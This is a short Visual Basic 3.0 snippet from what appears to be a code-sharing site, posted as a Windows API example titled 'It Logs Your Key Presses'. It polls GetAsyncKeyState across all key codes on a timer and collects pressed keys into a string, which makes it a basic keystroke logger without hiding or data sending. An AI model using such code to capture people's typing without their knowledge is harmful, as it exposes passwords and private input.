by Adam Jacob Muller (3 Submissions)
Category: Windows API Call/Explanation
Compatability: Visual Basic 3.0
Difficulty: Unknown Difficulty
Date Added: Wed 3rd February 2021
Rating: (4 Votes)
It Logs Your Key Presses
Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
better But It Consumes More System Rescources
API DeclarationsDeclare Function GetAsyncKeyState Lib "user32" (ByVal dwMessage As Long) As Integer
'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
'better But It Consumes More System Rescources
Dim KeyLoop As Byte
Dim FoundKeys As String
Dim KeyResult As Long
For KeyLoop = 1 To 255
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
FoundKeys = FoundKeys + Chr(KeyLoop)
End If
Next